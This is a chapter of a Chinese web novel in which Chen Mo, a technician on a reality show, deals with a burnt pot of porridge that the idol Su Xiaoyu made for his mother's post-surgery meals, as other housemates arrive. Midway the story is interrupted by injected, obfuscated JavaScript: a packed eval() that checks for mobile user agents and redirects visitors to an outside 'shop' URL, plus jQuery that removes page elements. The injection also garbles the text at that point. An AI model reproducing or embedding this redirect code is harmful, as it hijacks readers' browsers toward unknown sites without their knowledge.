凌晨一点十七分，陈末被一股焦糊味惊醒。


    他坐起身，仔细嗅了抽——不是幻觉。空气中有明显的烟熏味，还夹杂着某种……蛋白质烧焦的诡异甜香。


    火灾？他瞬间进入应急状态：确认火源、评估风险、制定方案、执行。


    翻身下床，开门。走廊里烟雾弥漫，源头明显来自二楼厨房方向。没有火光，说明还没到明火阶段。但烟雾报警器居然没响——可能被节目组临时关闭了，因为晚上有嘉宾在露台烧烤。


    陈末快步下楼。厨房门关着，门缝下透出灯光和更多烟雾。他推开门——


    苏小雨站在料理台前，手忙脚乱地用锅盖拍打一口冒烟的小锅。她穿着粉色卡通睡衣，头发胡乱扎成丸子头，脸上沾着面粉和疑似酱油的痕迹。料理台上摆满了各种食材：鸡蛋打碎在台面上，面粉撒得到处都是，几根蔫了的青菜泡在水槽里。


    “陈、陈末老师！”苏小雨看见他，眼泪都快出来了，“我不是故意的！我就是想煮个粥……”


    陈末没时间问为什么凌晨一点煮粥。他快速评估现场：锅在电磁炉上，里面是烧焦的米糊。电磁炉电源还开着，但锅已经干烧冒烟。没有明火，主要是烟雾。


    标准操作流程：切断电源，隔离热源，通风。


    他走过去，先拔掉电磁炉插头，然后把锅移到旁边的不锈钢台面——远离可燃物。接着打开所有窗户，启动抽油烟机。


    “锅盖给我。”陈末伸手。


    苏小雨乖乖递过锅盖。陈末用锅盖盖住锅，隔绝空气。然后拿起旁边的湿抹布，小心地垫在锅盖边缘——进一步密封。


    烟雾慢慢减少。


    “站远点。”陈末说，“可能有毒气体。”


    苏小雨退到厨房门口，眼睛红红的像只兔子。


    陈末检查锅具。是一口小奶锅，底部已经烧黑，粘着一层碳化的米糊。他接了点水，倒进去——刺啦一声，蒸汽升腾。


    “你在煮什么？”他问。


    “鸡、鸡丝粥……”苏小雨小声说，“我看网上的病号餐食谱，说手术后喝粥好消化……”


    陈末动作一顿。病号餐。母亲的手术。


    他转头看苏小雨。她睡衣袖子卷到手肘，手臂上有一小块红印——可能是烫的。脸上表情混合着内疚、害怕，还有一丝……委屈？


    “为什么现在做？”陈末问。


    “我睡不着……”苏小雨揉着眼睛，“想到陈末老师你妈妈后天手术，我就想……能不能帮上忙。但我不会做饭，就想着先练习一下……”


    她越说声音越小：“结果把米放少了，水烧干了，然后就……”


    陈末看着料理台上的“战场”。打翻的鸡蛋，撒掉的面粉，烧焦的粥。一片狼藉，但意图明确。


    “你的手烫到了。”他说。


    苏小雨低头看手臂：“啊？没事，不疼……”


    “过来。”陈末打开冰箱，拿出冰块，用厨房纸巾包好，“敷着。”


    苏小雨接过冰袋，按在烫伤处。她看着陈末清理现场——先把烧焦的锅泡进水槽，再擦拭台面，收拾散落的食材。动作有条不紊，像在处理服务器故障。


    “陈末老师，”她小声说，“你不骂我吗？”


    “骂你没用。”陈末说，“现在需要做的是清理现场，防止二次事故，记录原因，制定改进方案。”


    苏小雨愣了愣，然后噗嗤笑出来：“你又开始说系统语言了……”


    “这是标准事故处理流程。”陈末认真地说，“不过，你为什么要学做病号餐？”


    “因为……”苏小雨低下头，“我想帮忙。你帮了我那么多次，修平板，教我怎么清理存储空间，迷宫挑战还那么耐心……我就想，能不能也为你做点什么。”


    她抬起头，眼睛在灯光下亮晶晶的：“我知道我没林薇姐聪明，没楚曦姐能干，没秦澜姐厉害……我只会唱歌跳舞，但这些你都用不上。我就想，至少……至少可以学点实用的。”


    陈末停下擦拭的动作。他看着苏小雨——那个平时总是笑嘻嘻的元气偶像，此刻穿着沾满面粉的睡衣，手臂上敷着冰袋，眼睛湿漉漉的，像只做错事但真心想弥补的小动物。


    “谢谢。”他说。


    苏小雨睁大眼睛：“你不觉得我笨手笨脚吗？”


    “笨手笨脚但有心，比聪明但冷漠好。”陈末说。这是他第一次说这种话，说完自己都觉得不太像平时的风格。


    苏小雨眼睛更亮了：“真的？”


    “嗯。”陈末点头，“不过，下次想学做饭，可以白天学。或者……叫我一起。至少能防止火灾。”


    “你会做饭？”


    “会基础。”陈末说，“煮面，煮粥，炒青菜。够用。”


    “那你能教我吗？”


    “可以。”陈末说，“但不是现在。现在你需要去处理烫伤，然后睡觉。”


    “哦……”苏小雨有点失望，但很快又振作起来，“那说好了！你教我！”


    “说好了。”


    这时，厨房门口传来脚步声。林薇站在那儿，穿着深蓝色睡袍，头发有些凌乱，显然是刚醒。


    “我闻到烟味。”她说，看了眼现场，“出事了？”


    “小事故。”陈末说，“已经处理了。”


    林薇的目光扫过苏小雨的睡衣、手臂上的冰袋、料理台的狼藉，最后落在陈末身上。她的表情没什么变化，但陈末觉得她似乎明白了什么。


    “需要帮忙吗？”林薇问。


    “不用了，快清理完了。”陈末说。


    林薇点点头，但没走。她走进厨房，拿起扫帚开始清扫地上的面粉。动作自然，像在自己家。


    苏小雨看看林薇，又看看陈末，小声说：“林薇姐也来了啊……”


    “被烟味吵醒的不止我一个。”楚曦的声音从门口传来。她穿着运动背心和短裤，像是刚夜跑回来，“什么情况？着火了？”


    “小雨学做饭，锅烧干了。”陈末简单解释。


    楚曦挑眉，走进来看了一眼：“这哪是学做饭，这是搞爆破吧。”她拍了拍苏小雨的头，“没事，我第一次做饭把厨房炸了，比你这严重。”


    “真的？”苏小雨惊讶。


    “真的。”楚曦说，“所以你现在比我强。”


    秦澜也出现了，她甚至戴着眼镜，手里拿着平板，像是刚从工作中抬起头。“烟雾触发了我的空气质量监测APP。”她推了推眼镜，“需要我联系物业吗？”


    “不用了。”陈末说，“已经控制住了。”


    王烁是最后一个到的。他穿着丝绸睡衣，头发一丝不乱，看起来不像刚睡醒。他在门口站定，扫视厨房里的五个人——陈末在擦台面，林薇在扫地，楚曦在检查苏小雨的烫伤，秦澜在看平板。画面有点……诡异。


    “大家都没事吧？”王烁微笑，“我听到动静，过来看看。”


    “没事。”陈末说，“小问题。”


    王烁的目光在苏小雨身上停留了一秒，又移到那口烧焦的锅上。“小雨在学做饭？这么晚？”


    “我、我就是睡不着……”苏小雨小声说。


    “有心了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990785|193693||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    王烁点头，然后看向陈末，“陈末也在帮忙？你们关系真好。”


    这话听起来正常，但陈末听出了一丝试探。他简单回应：“应该的。”


    清理工作很快完成。烧焦的锅被泡着，台面擦干净了，食材收拾好了。凌晨一点四十五分，厨房恢复原状——除了空气中残留的焦糊味。


    “大家回去休息吧。”陈末说，“明天还要录制。”


    众人陆续离开。林薇最后走，她走到门口时回头看了陈末一眼，没说话，但眼神里有种陈末读不懂的东西。


    苏小雨磨磨蹭蹭地留到最后。


    “陈末老师，”她小声说，“今天谢谢你。还有……对不起，给你添麻烦了。”


    “不麻烦。”陈末说，“不过，你真的想学做饭？”


    “嗯！”苏小雨用力点头，“我想学实用的，能帮到别人的。”


    “动机很好。”陈末说，“但学习方法需要优化。下次先看教程视频，准备齐全食材和工具，从简单菜品开始，最好有人指导。”


    “你会指导我吗？”


    “会。”


    苏小雨笑了，那笑容在凌晨的厨房灯光下显得格外明亮：“那就说定了！晚安，陈末老师！”


    她蹦跳着走了。


    陈末关掉厨房灯，回到自己房间。躺在床上时，他忽然意识到一件事：刚才那一幕——深夜厨房，意外火灾，众人齐聚——如果被摄像机拍到，会是什么效果？


    节目组晚上应该没开固定摄像头，但可能有红外监控？王烁出现时头发一丝不乱，他真的是被吵醒的，还是……


    陈末摇摇头，把这个想法压下去。


    他打开手机，给母亲的主治医生发了条消息：“术后饮食有什么禁忌？有没有推荐的食谱？”


    医生很快回复：“流质开始，逐渐过渡到半流质。推荐小米粥、蒸蛋羹、烂面条。避免油腻、辛辣、过硬食物。”


    陈末把这条信息转发给苏小雨，附加一句：“可以学这些。”


    苏小雨秒回：“收到！我一定学会！”


    陈末放下手机，闭上眼睛。


    脑子里却还在回放刚才的画面：苏小雨手忙脚乱拍打锅盖的样子，林薇默默扫地的侧影，楚曦检查烫伤时的认真表情，秦澜推眼镜的动作，王烁那个意味深长的微笑……


    还有苏小雨说“我想帮忙”时，眼里那种纯粹的、笨拙的真诚。


    陈末忽然觉得，自己的“系统”里，好像多了一个新的变量。


    不是技术问题，不是工作压力，不是金钱计算。


    而是一种……他不太熟悉，但无法忽略的，情感负载。


    他不知道这个变量会带来什么影响。


    他只知道，当苏小雨说“我想为你做点什么”时，他心里的某个地方，轻微地动了一下。


    像服务器日志里突然出现的一行异常记录。


    不严重，但需要关注。


    他深吸一口气，强迫自己停止思考。


    睡觉。


    明天还有工作。


    后天，母亲手术。


    大后天……谁知道还会发生什么。


    窗外的海声规律传来。


    像系统的心跳。


    稳定，持续，不容忽视。


    而陈末，这个习惯了监控一切的技术人员，第一次发现，


    有些变量，


    即使监控到了，


    也不知道该怎么处理。


    他只能记录日志，继续观察。


    等待系统自己，


    给出答案。